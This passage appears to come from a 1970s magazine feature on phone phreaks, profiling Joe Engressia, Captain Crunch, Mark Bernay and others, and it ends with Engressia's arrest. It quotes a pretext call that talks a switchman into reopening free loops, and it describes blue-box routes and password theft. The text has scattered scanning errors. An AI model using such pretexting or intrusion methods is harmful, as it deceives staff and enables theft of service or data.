Tokyo?" 

This swift manic sequence of phone-phreak vaudeville stunts and blind-boy jokes manages to keep Joe's mind off his tormentor only as long as 
it lasts. 

"The reason I'm in Memphis, the reason I have to depend on that homosexual guy, is that this is the first time I've been able to live on my own 
and make phone trips on my own. I've been banned from all central offices around home in Florida, they knew me too well, and at the 
University some of my fellow scholars were always harassing me because I was on the dorm pay phone all the time and making fun of me 
because of my fat ass, which of course I do have, it's my physical fatness program, but I don't like to hear it every day, and if I can't phone trip 
and I can't phone phreak, I can't imagine what I'd do, I've been devoting three quarters of my life to it. 

"I moved to Memphis because I wanted to be on my own as well as because it has a Number 5 crossbar switching system and some 
interesting little independent phone-company districts nearby and so far they don't seem to know who I am so I can go on phone tripping, and 
for me phone tripping is just as important as phone phreaking." 

Phone tripping, Joe explains, begins with calling up a central-office switch room. He tells the switchman in a polite earnest voice that he's a 
blind college student interested in telephones, and could he perhaps have a guided tour of the switching station? Each step of the tour Joe likes 
to touch and feel relays, caress switching circuits, switchboards, crossbar arrangements. 

So when Joe Engressia phone phreaks he feels his way through the circuitry of the country garden of forking paths, he feels switches shift, 
relays shunt, crossbars swivel, tandems engage and disengage even as he hears - with perfect pitch - his M-F pulses make the entire Bell 
system dance to his tune. 

Just one month ago Joe took all his savings out of his bank and left home, over the emotional protests of his mother. "I ran away from home 
almost," he likes to say. Joe found a small apartment house on Union Avenue and began making phone trips. He'd take a bus a hundred miles 
south in Mississippi to see some old-fashioned Bell equipment still in use in several states, which had been puzzling. He'd take a bus three 
hundred miles to Charlotte, North Carolina, to look at some brand-new experimental equipment. He hired a taxi to drive him twelve miles to a 
suburb to tour the office of a small phone company with some interesting Idiosyncrasies in its routing system. He was having the time of his 
life, he said, the most freedom and pleasure he had known. 

In that month he had done very little long-distance phone phreaking from his own phone. He had begun to apply for a job with the phone 
company, he told me, and he wanted to stay away from anything illegal. 

"Any kind of job will do, anything as menial as the most lowly operator. That's probably all they'd give me because I'm blind. Even though I 
probably know more than most switchmen. But that's okay. I want to wak for Ma Bell. I don't hate Ma Bell the way Gilbertson and some phone 
phreaks do. I don't want to screw Ma Bell. With me it's the pleasure of pure knowledge. There's something beautiful about the system when 
you know it intimately the way I do. But I don't know how much they know about me here. I have a very intuitive feel for the condition of the 
line I'm on, and I think they're monitoring me off and on lately, but I haven't been doing much illegal. I have to make a few calls to switchmen 
once in a while which aren't strictly legal, and once I took an acid trip and was having these auditory hallucinations as if I were trapped and 
these planes were dive-bombing me, and all of sudden I had to phone phreak out of there. For some reason I had to call Kansas City, but that's 
all." 

A Warning Is Delivered 

At this point - one o'clock in my time zone - a loud knock on my motel-room door interrupts our conversation. Outside the door I find a 
uniformed security guard who informs me that there has been an "emergency phone call" for me while I have been on the line and that the 
front desk has sent him up to let me know. 

Two seconds after I say good-bye to Joe and hang up, the phone rings. 

"Who were you talking to?" the agitated voice demands. The voice belongs to Captain Crunch. "I called because I decided to warn you of 
something. I decided to warn you to be careful. I don't want this information you get to get to the radical underground. I don't want it to get into 
the wrong hands. What would you say if I told you it's possible for three phone phreaks to saturate the phone system of the nation. Saturate it. 



Busy it out. All of it. I know how to do this. I'm not gonna tell. A friend of mine has already saturated the trunks between Seattle and New York. 
He did it with a computerized M-F-er hitched into a special Manitoba exchange. But there are other, easier ways to do it." 

Just three people? I ask. How is that possible? 

"Have you ever heard of the long-lines guard frequency? Do you know about stacking tandems with 1 7 and 2600? Well, I'd advise you to find 
out about it. I'm not gonna tell you. But whatever you do, don't let this get into the hands of the radical underground." 

(Later Gilbertson, the inventor, confessed that while he had always been skeptical about the Captain's claim of the sabotage potential of trunk- 
tying phone phreaks, he had recently heard certain demonstrations which convinced him the Captain was not speaking idly. "I think it might take 
more than three people, depending on how many machines like Captain Crunch's were available. But even though the Captain sounds a little 
weird, he generally turns out to know what he's talking about.") 

"You know," Captain Crunch continues in his admonitory tone, "you know the younger phone phreaks call Moscow all the time. Suppose 
everybody were to call Moscow. I'm no right-winger. But I value my life, i don't want the Commies coming over and dropping a bomb on my 
head. That's why I say you've got to be careful about who gets this information." 

The Captain suddenly shifts into a diatribe against those phone phreaks who don't like the phone company. 

"They don't understand, but Ma Bell knows everything they do. Ma Bell knows. Listen, is this line hot? I just heard someone tap in. I'm not 
paranoid, but I can detect things like that. Well, even if it is, they know that I know that they know that I have a bulk eraser. I'm very clean." The 
Captain pauses, evidently torn between wanting to prove to the phone-company monitors that he does nothing illegal, and the desire to impress 
Ma Bell with his prowess. "Ma Bell knows how good I am. And I am quite good. I can detect reversals, tandem switching, everything that goes 
on a line. I have relative pitch now. Do you know what that means? My ears are a $20,000 piece of equipment. With my ears I can detect things 
they can't hear with their equipment. I've had employment problems. I've lost jobs. But I want to show Ma Bell how good I am. I don't want to 
screw her, I want to work for her. I want to do good for her. I want to help her get rid of her flaws and become perfect. That's my number-one 
goal in life now." The Captain concludes his warnings and tells me he has to be going. "I've got a little action lined up for tonight," he explains 
and hangs up. 

Before I hang up for the night, I call Joe Engressla back. He reports that his tormentor has finally gone to sleep - "He's not blind drunk, that's 
the way I get, ahem, yes; but you might say he's in a drunken stupor." I make a date to visit Joe in Memphis in two days. 

A Phone Fhreak Call Takes Care of Business 

The next morning I attend a gathering of four phone phreaks in (a California suburb). The gathering takes place in a comfortable split-level 

home in an upper-middle-class subdivision. Heaped on the kitchen table are the portable cassette recorders, MF cassettes, phone patches, 
and line ties of the four phone phreaks present. On the kitchen counter next to the telephone is a shoe-box-size blue box with thirteen large 
toggle switches for the tones. The parents of the host phone phreak, Ralph, who is blind, stay in the living room with their sighted children. 
They are not sure exactly what Ralph and his friends do with the phone or if it's strictly legal, but he is blind and they are pleased he has a 
hobby which keeps him busy. 

The group has been working at reestablishing the historic "2111" conference, reopening some toll-free loops, and trying to discover the 
dimensions of what seem to be new initiatives against phone phreaks by phone-company security agents. 

It is not long before I get a chance to see, to hear. Randy at work. Randy is known among the phone phreaks as perhaps the finest con man in 
the game. Randy Is blind. He Is pale, soft and pear-shaped, he wears baggy pants and a wrinkly nylon white sport shirt, pushes his head 
fonward from hunched shoulders somewhat like a turtle inching out of its shell. His eyes wander, crossing and recrossing, and his forehead is 
somewhat pimply. He is only sixteen years old. 

But when Randy starts speaking into a telephone mouthpiece his voice becomes so stunningly authoritative it is necessary to look again to 
convince yourself it comes from a chubby adolescent Randy. Imagine the voice of a crack oil-rig foreman, a tough, sharp, weather-beaten 
Marlboro man of forty. Imagine the voice of a brilliant performance-fund gunslinger explaining how he beats the Dow Jones by thirty percent. 
Then imagine a voice that could make those two sound like Stepin Fetchit. That is sixteen-year -old Randy's voice. 

He Is speaking to a switchman in Detroit. The phone company in Detroit had closed up two toll-free loop pairs for no apparent reason, although 
heavy use by phone phreaks all over the country may have been detected. Randy is telling the switchman how to open up the loop and make it 
free again: 

"How are you, buddy. Yeah. I'm on the board in here in Tulsa, Oklahoma, and we've been trying to run some tests on your loop-arounds and 
we find'em busied out on both sides.... Yeah, we've been getting a 'BY' on them, what d'ya say, can you drop cards on 'em? Do you have 08 
on your number group? Oh that's okay, we've had this trouble before, we may have to go after the circuit. Here lemme give 'em to you: your 
frame is 05, vertical group 03, horizontal 5, vertical file 3. Yeah, we'll hang on here.... Okay, found It? Good. Right, yeah, we'd like to clear that 
busy out. Right. All you have to do is look for your key on the mounting plate, it's in your miscellaneous trunk frame. Okay? Right. Now pull your 
key from NOR over the LCT. Yeah. I don't know why that happened, but we've been having trouble with that one. Okay. Thanks a lot fella. Be 
seein' ya." 



Randy hangs up, reports that the switchman was a little inexperienced with the loop-around circuits on the miscellaneous trunk frame, but that 
the loop has been returned to its free-call status. 

Delighted, phone phreak Ed returns the pair of numbers to the activestatus column in his directory. Ed is a superb and painstaking researcher. 
With almost Talmudic thoroughness he will trace tendrils of hints through soft-wired mazes of intervening phone-company circuitry back 
through complex linkages of switching relays to find the location and identity of just one toll-free loop. He spends hours and hours, every day, 
doing this sort of thing. He has somehow compiled a directory of eight hundred "Band-six in-WATS numbers" located in over forty states. 
Band-six in-WATS numbers are the big 800 numbers - the ones that can be dialed into free from anywhere in the country. 

Ed the researcher, a nineteen -year-old engineering student, is also a superb technician. He put together his own working blue box from 
scratch at age seventeen. (He is sighted.) This evening after distributing the latest issue of his in-WATS directory (which has been typed into 
Braille for the blind phone phreaks), he announces he has made a major new breakthrough: 

"I finally tested it and it works, perfectly. I've got this switching matrix which converts any touctvtone phone into an M-F-er." 

The tones you hear in touch- tone phones are not the M-F tones that operate the long-distance switching system. Phone phreaks believe AT&T, 
had deliberately equipped touch tones with a different set of frequencies to avoid putting the six master M-F tones in the hands of every touct> 
tone owner. Ed's complex switching matrix puts the six master tones, in effect put a blue box, in the hands of every touctvtone owner. 

Ed shows me pages of schematics, specifications and parts lists. "It's not easy to build, but everything here is in the Heathkit catalog." 

Ed asks Ffelph what progress he has made in his attempts to reestablish a long-term open conference line for phone phreaks. The last big 
conference - the historic "21 11" conference - had been arranged through an unused Telex test-board trunk somewhere in the innards of a 
4A switching machine in Vancouver, Canada. For months phone phreaks could MF their way into Vancouver, beep out 604 (the Vancouver 
area code) and then beep out 21 1 1 (the internal phone-company code for Telex testing), and find themselves at any time, day or night, on an 
open wire talking with an array of phone phreaks from coast to coast, operators from Bermuda, Tokyo and London who are phone-phreak 
sympathizers, and miscellaneous guests and technical experts. The conference was a massive exchange of information. Phone phreaks 
picked each other's brains clean, then developed new ways to pick the phone company's brains clean. Ralph gave M F Boogies concerts with 
his home-entertainment-type electric organ, Captain Crunch demonstrated his round-the-w orld prowess with his notorious computerized unit 
and dropped leering hints of the "action" he was getting with his girl friends. (The Captain lives out or pretends to live out several kinds of 
fantasies to the gossipy delight of the blind phone phreaks who urge him on to further triumphs on behalf of all of them.) The somewhat rowdy 
Northwest phone-phreak crowd let their bitter internal feud spill over into the peaceable conference line, escalating shortly into guerrilla 
warfare; Carl the East Coast international tone relations expert demonstrated newly opened direct M-F routes to central offices on the island of 
Bahrein in the Persian Gulf, introduced a new phone-phreak friend of his in Pretoria, and explained the technical operation of the new Oakland- 
to Vietnam linkages. (Many phone phreaks pick up spending money by M-Fing calls from relatives to Vietnam GIs charging $5 for a whole hour 
of trans -Pacific conversation.) 

Day and night the conference line was never dead. Blind phone phreaks all over the ccuntry, lonely and isolated in homes filled with active 
sighted brothers and sisters, or trapped with slow and unimaginative blind kids in straitjacket schools for the blind, knew that no matter how 
late it got they could dial up the conference and find instant electronic communion with two or three other blind kids awake over on the other 
side of America. Talking together on a phone hookup, the blind phone phreaks say, is not much different from being there together. Physically, 
there was nothing more than a two-inch-square wafer of titanium inside a vast machine on Vancouver Island. For the blind kids >there< meant 
an exhilarating feeling of being in touch, through a kind of skill and magic which was peculiarly their own. 

Last April 1 , however, the long Vancouver Conference was shut off. The phone phreaks knew it was coming. Vancouver was in the process 
of converting from a step-by-step system to a 4A machine and the 21 1 1 Telex circuit was to be wiped out in the process. The phone phreaks 
learned the actual day on which the conference would be erased about a week ahead of time over the phone company's internal-news-and- 
shop-talk recording. 

For the next frantic seven days every phone phreak in America was on and off the 2111 conference twenty-four hours a day. Phone phreaks 
who were just learning the game or didn't have M-F capability were boosted up to the conference by more experienced phreaks so they could 
get a glimpse of what it was like before it disappeared. Top phone phreaks searched distant area codes for new conference possibilities 
without success. Finally in the early morning of April 1 , the end came. 

"I could feel it coming a couple hours before midnight," Ralph remembers. "You could feel something going on in the lines. Some static began 
showing up, then some whistling wheezing sound. Then there were breaks. Some people got cut off and called right back in, but after a while 
some people were finding they were cut off and couldn't get back in at all. It was terrible. I lost it about one a.m., but managed to slip in again 
and stay on until the thing died... I think it was about four in the morning. There were four of us still hanging on when the conference 
disappeared into nowhere for good. We all tried to M-F up to it again of course, but we got silent termination. There was nothing there." 

The Legendary Mark Bernay Turns Out To Be "The Midnight Skulker" 

Mark Bernay. I had come across that name before. It was on Gilbertson's select list of phone phreaks. The California phone phreaks had 
spoken of a mysterious Mark Bernay as perhaps the first and oldest phone phreak on the West Coast. And in fact almost every phone phreak 
in the West can trace his origins either directly to Mark Bernay or to a disciple of Mark Bernay. 



It seems that five years ago this IVIarl< Bernay (a pseudonym he chose for himself) began traveling up and down the West Coast pasting tiny 
stickers in phone books all along his way. The stickers read something like "Want to hear an interesting tape recording? Call these numbers." 
The nunt)ers that followed were toll-free loop-around pairs. When one of the curious called one of the numbers he would hear a tape 
recording pre-hooked into the loop by Bernay which explained the use of loop-around pairs, gave the numbers of several more, and ended by 
telling the caller, "At six o'clock tonight this recording will stop and you and your friends can try it out. Have fun." 

"I was disappointed by the response at first," Bernay told me, when I finally reached him at one of his many numbers and he had dispensed 
with the usual "I never do anything illegal" formalities which experienced phone phreaks open most conversations. 

"I went all over the coast with these stickers not only on pay phones, but I'd throw them in front of high schools in the middle of the night, I'd 
leave them unobtrusively in candy stores, scatter them on main streets of small towns. At first hardly anyone bothered to try it out. I would 
listen in for hours and hours after six o'clock and no one came on. I couldn't figure out why people wouldn't be interested. Finally these two 
girls in Oregon tried it out and told all their friends and suddenly it began to spread." 

Before his Johny Appleseed trip Bernay had already gathered a sizable group of early pre-blue-box phone phreaks together on loop-arounds 
in Los Angeles. Bernay does not claim credit for the original discovery of the loop-around numbers. He attributes the discovery to an eighteen- 
year-old reform school kid in Long Beach whose name he forgets and who, he says, "just disappeared one day." When Bernay himself 
discovered loop-arounds independently, from clues in his readings in old issues of the Automatic Electric Technical Journal, he found dozens 
of the reform-school kid's friends already using them. However, it was one of Bernay's disciples in Seattle that introduced phone phreaking to 
blind kids. The Seattle kid who learned about loops through Bernay's recording told a blind friend, the blind kid taught the secret to his friends at 
a winter camp for blind kids in Los Angeles. When the camp session was over these kids took the secret back to towns all over the West. This 
is how the original blind kids became phone phreaks. For them, for most phone phreaks in general, it was the discovery of the possibilities of 
loop-arounds which led them on to far more serious and sophisticated phone-phreak methods, and which gave them a medium for sharing their 
discoveries. 

A year later a blind kid who moved back east brought the technique to a blind kids' summer camp in Vermont, which spread it along the East 
Coast. All from a Mark Bernay sticker. 

Bernay, who is nearly thirty years old now, got his start when he was fifteen and his family moved into an L.A. suburb serviced by General 
Telephone and Electronics equipment. He became fascinated with the differences between Bell and G.T.&E. equipment. He learned he could 
make interesting things happen by carefully timed clicks with the disengage button. He learned to interpret subtle differences in the array of 
clicks, whirrs and kachinks he could hear on his lines. He learned he could shift himself around the switching relays of the L.A. area code in a 
not-too-predictable fashion by interspersing his own hook-switch clicks with the clicks within the line. (Independent phone companies- there 
are nineteen hundred of them still left, most of them tiny island principalities in Ma Bell's vast empire - have always been favorites with phone 
phreaks, first as learning tools, then as Archimedes platforms from which to manipulate the huge Bell system. A phone phreak in Bell territory 
will often M-F himself into an independent's switching system, with switching idiosyncrasies which can give him marvelous leverage over the 
Bell System. 

"I have a real affection for Automatic Electric Equipment," Bernay told me. "There are a lot of things you can play with. Things break down in 

interesting ways." 

Shortly after Bernay graduated from college (with a double major in chemistry and philosophy), he graduated from phreaking around with 
G.T.&E. to the Bell System Itself, and made his legendary sticker-pasting journey north along the coast, settling finally in Northwest Pacific Bell 
territory. He discovered that if Bell does not break down as interestingly as G.T.&E., it nevertheless offers a lot of "things to play with." 

Bernay learned to play with blue boxes. He established his own personal switchboard and phone-phreak research laboratory complex. He 
continued his phone-phreak evangelism with ongoing sticker campaigns. He set up two recording numbers, one with instructions for beginning 
phone phreaks, the other with latest news and technical developments (along with some advanced instruction) gathered from sources all over 
the country. 

These days, Bernay told me, he had gone beyond phone-phreaking itself. "Lately I've been enjoying playing with computers more than playing 
with phones. My personal thing in computers is just like with phones, I guess - the kick is in finding out how to beat the system, how to get at 
things I'm not supposed to know about, how to do things with the system that I'm not supposed to be able to do." 

As a matter of fact, Bernay told me, he had just been fired from his computer-programming job for doing things he was not supposed to be able 
to do. He had been working with a huge time-sharing computer owned by a large corporation but shared by many others. Access to the 
computer was limited to those programmers and corporations that had been assigned certain passwords. And each password restricted its 
user to access to only the one section of the computer cordoned off from its own information storager. The password system prevented 
companies and individuals from stealing each other's information. 

"I figured out how to write a program that would let me read everyone else's password," Bernay reports. "I began playing around with 
passwords. I began letting the people who used the computer know, in subtle ways, that I knew their passwords. I began dropping notes to 
the computer supervisors with hints that I knew what I know. I signed them 'The Midnight Skulker.' I kept getting cleverer and cleverer with my 
messages and devising ways of showing them what I could do. I'm sure they couldn't imagine I could do the things I was showing them. But 
they never responded to me. Every once in a while they'd change the passwords, but I found out how to discover what the new ones were, 
and I let them know. But they never responded directly to the Midnight Skulker. I even finally designed a program which they could use to 



prevent my program from finding out wliat it did. In effect I told them fiow to wipe me out, The Midnight Skulker. It was a very clever program. I 
started leaving clues about myself. I wanted them to try and use it and then try to come up with something to get around that and reappear 
again. But they wouldn't play. I wanted to get caught. I mean I didn't want to get caught personally, but I wanted them to notice me and admit 
that they noticed me. I wanted them to attempt to respond, maybe in some interesting way." Finally the computer managers became concerned 
enough about the threat of information-stealing to respond. However, instead of using The Midnight Skulker's own elegant self-destruct 
program, they called in their security personnel, interrogated everyone, found an informer to identify Bernay as The Midnight Skulker, and fired 
him. 

"At first the security people advised the company to hire me full-time to search out other flaws and discover other computer freaks. I might 
have liked that. But I probably would have turned into a double double agent rather than the double agent they wanted. I might have resurrected 
The Midnight Skulker and tried to catch myself. Who knows? Anyway, the higher-ups turned the whole idea down." 

You Can Tap the F.B.I.'s Crime Control Computer in the Comfort of Your Own Home, Perhaps. 

Computer freaking may be the wave of the future. It suits the phone-phreak sensibility perfectly. Gilbertson, the blue-box inventor and a lifelong 
phone phreak, has also gone on from phone-phreaking to computer-freaking. Before he got into the blue-box business Gilbertson, who is a 
highly skilled programmer, devised programs for international currency arbitrage. 

But he began playing with computers in earnest when he learned he could use his blue box in tandem with the computer terminal installed in his 
apartment by the instrumentation firm he worked for. The print-out terminal and keyboard was equipped with acoustical coupling, so that by 
coupling his little ivory Princess phone to the terminal and then coupling his blue box on that, he could M-F his way into other computers with 
complete anonymity, and without charge; program and re-program them at will; feed them false or misleading information; tap and steal from 
them. He explained to me that he taps computers by busying out all the lines, then going into a verification trunk, listening into the passwords 
and instructions one of the time sharers uses, and them IVl-FIng in and imitating them. He believes it would not be impossible to creep into the 
F.B.I's crime control computer through a local police computer terminal and phreak around with the F.B.I.'s memory banks. He claims he has 
succeeded in re-programming a certain huge institutional computer in such a way that it has cordoned off an entire section of its circuitry for 
his personal use, and at the same time conceals that arrangement from anyone else's notice. I have been unable to verify this claim. 

Like Captain Crunch, like Alexander Graham Bell (pseudonym of a disgruntled-looking East Coast engineer who claims to have invented the 

black box and now sells black and blue boxes to gamblers and radical heavies), like most phone phreaks, Gilbertson began his career trying to 
rip off pay phones as a teenager. Figure them out, then rip them off. Getting his dime back from the pay phone is the phone phreak's first 
thrilling rite of passage. After learning the usual eighteen different ways of getting his dime back, Gilbertson learned how to make master keys 
to coin-phone cash boxes, and get everyone else's dimes back. He stole some phone-company equipment and put together his own home 
switchboard with it. He learned to make a simple "bread-box" device, of the kind used by bookies in the Thirties (bookie gives a number to his 
betting clients; the phone with that number is installed in some widow lady's apartment, but is rigged to ring in the bookie's shop across town, 
cops trace big betting number and find nothing but the widow). 

Not long after that afternoon in 1968 when, deep in the stacks of an engineering library, he came across a technical journal with the phone 
tone frequencies and rushed off to make his first blue box, not long after that Gilbertson abandoned a very promising career in physical 
chemistry and began selling blue boxes for $1 ,500 apiece. 

"I had to leave physical chemistry. I just ran out of interesting things to learn," he told me one evening. We had been talking in the apartment of 
the man who served as the link between Gilbertson and the syndicate in arranging the big $300,000 blue-box deal which fell through because 
of legal trouble. There has been some smoking. 

"No more interesting things to learn," he continues. "Physical chemistry turns out to be a sick subject when you take it to its highest level. I don't 
know. I don't think I could explain to you how it's sick. You have to be there. But you get, I don't know, a false feeling of omnipotence. I suppose 
it's like phone-phreaking that way. This huge thing is there. This whole system. And there are holes in it and you slip into them like Alice and 
you're pretending you're doing something you're actually not, or at least it's no longer you that's doing what you thought you were doing. It's all 
Lewis Carroll. Physical chemistry and phone-phreaking. That's why you have these phone-phreak pseudonyms like The Cheshire Cat, the Red 
King, and The Snark. But there's something about phone-phreaking that you don't find in physical chemistry." He looks up at me: 

"Did you ever steal anything?" 

"Well yes, I..." 

"Then you know! You know the rush you get. It's not just knowledge, like physical chemistry. It's forbidden knowledge. You know. You can 
learn about anything under the sun and be bored to death with it. But the idea that it's illegal. Look: you can be small and mobile and smart and 
you're ripping off somebody large and powerful and very dangerous." 

People like Gilbertson and Alexander Graham Bell are always talking about ripping off the phone company and screwing Ma Bell. But if they 
were shown a single button and told that by pushing it they could turn the entire circuitry of A.T&T. into molten puddles, they probably wouldn't 
push it. The disgruntled-inventor phone phreak needs the phone system the way the lapsed Catholic needs the Church, the way Satan needs 
a God, the way The Midnight Skulker needed, more than anything else, response. 



Later that evening Gilbertson finished telling me how delighted he was at the flood of blue boxes spreading throughout the country, how 
delighted he was to know that "this time they're really screwed." He suddenly shifted gears. 

"Of course. I do have this love/hate thing about Ma Bell. In a way I almost like the phone company. I guess I'd be very sad if they were to 
disintegrate. In a way it's just that after having been so good they turn out to have these things wrong with them. It's those flaws that allow me 
to get in and mess with them, but I don't know. There's something about it that gets to you and makes you want to get to it, you know." 

I ask him what happens when he runs out of interesting, forbidden things to learn about the phone system. 

"I don't know, maybe I'd go to work for them for a while." 

"In security even?" 

"I'd do it, sure. I just as soon play - I'd just as soon work on either side." 

"Even figuring out how to trap phone phreaks? I said, recalling Mark Bernay's game." 

"Yes, that might be interesting. Yes, I could figure out how to outwit the phone phreaks. Of course if I got too good at it, it might become boring 
again. Then I'd have to hope the phone phreaks got much better and outsmarted me for a while. That would move the quality of the game up 
one level. I might even have to help them out, you know, 'Well, kids, I wouldn't want this to get around but did you ever think of-- ?' I could keep 
it going at higher and higher levels forever." 

The dealer speaks up for the first time. He has been staring at the soft blinking patterns of light and colors on the translucent tiled wall facing 
him. (Actually there are no patterns: the color and illumination of every tile is determined by a computerized randomnumber generator design ed 
by Gilbertson which insures that there can be no meaning to any sequence of events in the tiles.) 

"Those are nice games you're talking about," says the dealer to his friend. "But I wouldn't mind seeing them screwed. A telephone isn't private 
anymore. You can't say anything you really want to say on a telephone or you have to go through that paranoid bullshit. 'Is it cool to talk on the 
phone?' I mean, even if it is cool, if you have to ask 'Is it cool,' then it isn't cool. You know. 'Is it cool,' then it isn't cool. You know. Like those 

blind kids, people are going to start putting together their own private telephone companies if they want to really talk. And you know what else. 
You don't hear silences on the phone anymore. They've got this time-sharing thing on long-distance lines where you make a pause and they 
snip out that piece of time and use it to carry part of somebody else's conversation. Instead of a pause, where somebody's maybe breathing or 
sighing, you get this blank hole and you only start hearing again when someone says a word and even the beginning of the word is clipped 
off. Silences don't count - you're paying for them, but they take them away from you. It's not cool to talk and you can't hear someone when 
they don't talk. What the hell good is the phone? I wouldn't mind seeing them totally screwed." 

The Big Memphis Bust 

Joe Engressia never wanted to screw Ma Bell. His dream had always been to work for her. 

The day I visited Joe in his small apartment on Union Avenue in Memphis, he w as upset about another setback in his application for a telephone 
job. 

"They're stalling on it. I got a letter today telling me they'd have to postpone the inten/iew I requested again. My landlord read it for me. They 
gave me some runaround about wanting papers on my rehabilitation status but I think there's something else going on." 

When I switched on the 40-watt bulb in Joe's room - he sometimes forgets when he has guests - it looked as if there was enough telephone 
hardware to start a small phone corrpany of his own. 

There is one phone on top of his desk, one phone sitting in an open drawer beneath the desk top. Next to the desktop phone is a cigar-box- 
size M-F device with big toggle switches, and next to that is some kind of switching and coupling device with jacks and alligator plugs hanging 
loose. Next to that is a Braille typewriter. On the floor next to the desk, lying upside down like a dead tortoise, is the half-gutted body of an old 
black standard phone. Across the room on a torn and dusty couch are two more phones, one of them a touch-tone model; two tape recorders; 
a heap of phone patches and cassettes, and a lifesize toy telephone. 

Our conversation is interrupted every ten minutes by phone phreaks from all over the country ringing Joe on just about every piece of 
equipment but the toy phone and the Braille typewriter. One fourteen-year-old blind kid from Connecticut calls up and tells Joe he's got a giri 
friend. He wants to talk to Joe about girl friends. Joe says they'll talk later in the evening when they can be alone on the line. Joe draws a deep 
breath, whistles him off the air with an earsplitting 2600-cycle whistle. Joe is pleased to get the calls but he looked worried and preoccupied 
that evening, his brow constantly furrowed over his dark wandering eyes. In addition to the phone-company stall, he has just learned that his 
apartment house is due to be demolished in sixty days for urban renewal. For all its shabbiness, the Union Avenue apartment house has been 
Joe's first home-of-his-ow n and he's worried that he may not find another before this one is demolished. 

But what really bothers Joe is that switchmen haven't been listening to him. "I've been doing some checking on 800 numbers lately, and I've 
discovered that certain 800 numbers in New Hampshire couldn't be reached from Missouri and Kansas. Now it may sound like a small thing, but 
I don't like to see sloppy work; it makes me feel bad about the lines. So I've been calling up switching offices and reporting it, but they haven't 



corrected it. I called them up for the third time today and instead of checking they just got mad. Well, that gets me mad. I mean, I do try to help 
them. There's something about them I can't understand -- you want to help them and they just try to say you're defrauding them." 

It is Sunday evening and Joe invites me to join him for dinner at a Holiday Inn. Frequently on Sunday evening Joe takes some of his welfare 
money, calls a cab, and treats himself to a steak dinner at one of Memphis' thirteen Holiday Inns. (Memphis is the headquarters of Holiday Inn. 
Holiday Inns have been a favorite for Joe ever since he made his first solo phone trip to a Bell switching office in Jacksonville, Florida, and 
stayed in the Holiday Inn there. He likes to stay at Holiday Inns, he explains, because they represent freedom to him and because the rooms are 
arranged the same all over the country so he knows that any Holiday Inn room is familiar territory to him. Just like any telephone.) 

Over steaks in the Pinnacle Restaurant of the Holiday Inn Medical Center on Madison Avenue in Memphis, Joe tells me the highlights of his life 
as a phone phreak. 

At age seven, Joe learned his first phone trick. A mean baby-sitter, tired of listening to little Joe play with the phone as he always did, 
constantly, put a lock on the phone dial. "I got so mad. When there's a phone sitting there and I can't use it... so I started getting mad and 
banging the receiver up and down. I noticed I banged it once and it dialed one. Well, then I tried banging it twice...." In a few minutes Joe 
learned how to dial by pressing the hook switch at the right time. "I was so excited I remember going 'whoo whoo' and beat a box down on 
the floor." 

At age eight Joe learned about whistling. "I was listening to some intercept non working-number recording in L.A.- I was calling L.A. as far 
back as that, but I'd mainly dial non working numbers because there was no charge, and I'd listen to these recordings all day. Well, I was 
whistling 'cause listening to these recordings can be boring after a while even if they are from L.A., and all of a sudden, in the middle of 
whistling, the recording clicked off. 1 fiddled around whistling some more, and the same thing happened. So I called up the switch room and 
said, Tm Joe. I'm eight years old and I want to know why when I whistle this tune the line clicks off.' He tried to explain it to me, but it was a little 
too technical at the time. I went on learning. That was a thing nobody was going to stop me from doing. The phones were my life, and I was 
going to pay any price to keep on learning. I knew I could go to jail. But I had to do what I had to do to keep on learning." 

The phone is ringing when we walk back into Joe's apartment on Union Avenue. It is Captain Crunch. The Captain has been following me 
around by phone, calling up everywhere I go with additional bits of advice and explanation for me and whatever phone phreak I happen to be 
visiting. This time the Captain reports he is calling from what he describes as "my hideaway high up in the Sierra Nevada." He pulses out lusty 
salvos of M-F and tells Joe he is about to "go out and get a little action tonight. Do some phreaking of another kind, if you know what I mean." 

Joe chuckles. 

The Captain then tells me to make sure I understand that what he told me about tying up the nation's phone lines was true, but that he and the 
phone phreaks he knew never used the technique for sabotage. They only learned the technique to help the phone company. 

"We do a lot of troubleshooting for them. Like this New Hampshire/Missouri WATS-line flaw I've been screaming about. We help them more than 
they know." 

After we say good-bye to the Captain and Joe whistles him off the line, Joe tells me about a disturbing dream he had the night before: "I had 
been caught and they were taking me to a prison. It was a long trip. They were taking me to a prison a long long way away. And we stopped 
at a Holiday Inn and it was my last night ever using the phone and I was crying and crying, and the lady at the Holiday Inn said, 'Gosh, honey, 
you should never be sad at a Holiday Inn. You should always be happy here. Especially since it's your last night.' And that just made it worse 
and I was sobbing so much I couldn't stand it." 

Two weeks after I left Joe Engressia's apartment, phone-company security agents and Memphis police broke into it. Armed with a warrant, 
which they left pinned to a wall, they confiscated every piece of equipment in the room, including his toy telephone. Joe was placed under 
arrest and taken to the city jail where he was forced to spend the night since he had no money and knew no one in Memphis to call. 

It is not clear who told Joe what that night, but someone told him that the phone company had an open-and-shut case against him because of 
revelations of illegal activity he had made to a phone -company undercover agent. 

By morning Joe had become convinced that the reporter from Esquire, with whom he had spoken two weeks ago, was the undercover agent. 
He probably had ugly thoughts about someone he couldn't see gaining his confidence, listening to him talk about his personal obsessions and 

dreams, while planning all the while to lock him up. 

"I really thought he was a reporter," Engressia told the Memphis Press-Seminar. "I told him everything...." Feeling betrayed, Joe proceeded to 
confess everything to the press and police. 

As it turns out, the phone company did use an undercover agent to trap Joe, although it was not the Esquire reporter. 

Ironically, security agents were alerted and began to compile a case against Joe because of one of his acts of love for the system: Joe had 
called an internal service department to report that he had located a group of defective long-distance trunks, and to complain again about the 
New Hampshire/Missouri WATS problem. Joe always liked Ma Bell's lines to be clean and responsive. A suspicious switchman reported Joe to 
the security agents who discovered that Joe had never had a long-distance call charged to his name. 



Then the security agents learned that Joe was planning one of his phone trips to a local switching office. The security people planted one of 
their agents in the switching office. He posed as a student switchman and followed Joe around on a tour. He was extremely friendly and 
helpful to Joe, leading him around the office by the arm. When the tour was over he offered Joe a ride back to his apartment house. On the 
way he asked Joe - one tech man to another -- about "those blue boxers" he'd heard about. Joe talked about them freely, talked about his blue 
box freely, and about all the other things he could do with the phones. 

The next day the phone-company security agents slapped a monitoring tape on Joe's line, which eventually picked up an illegal call. Then they 

applied for the search warrant and broke in. 

In court Joe pleaded not guilty to possession of a blue box and theft of service. A sympathetic judge reduced the charges to malicious mischief 
and found him guilty on that count, sentenced him to two thirty-day sentences to be served concurrently and then suspended the sentence on 
condition that Joe promise never to play with phones again. Joe promised, but the phone company refused to restore his service. For two 
weeks after the trial Joe could not be reached except through the pay phone at his apartment house, and the landlord screened all calls for 
him. 

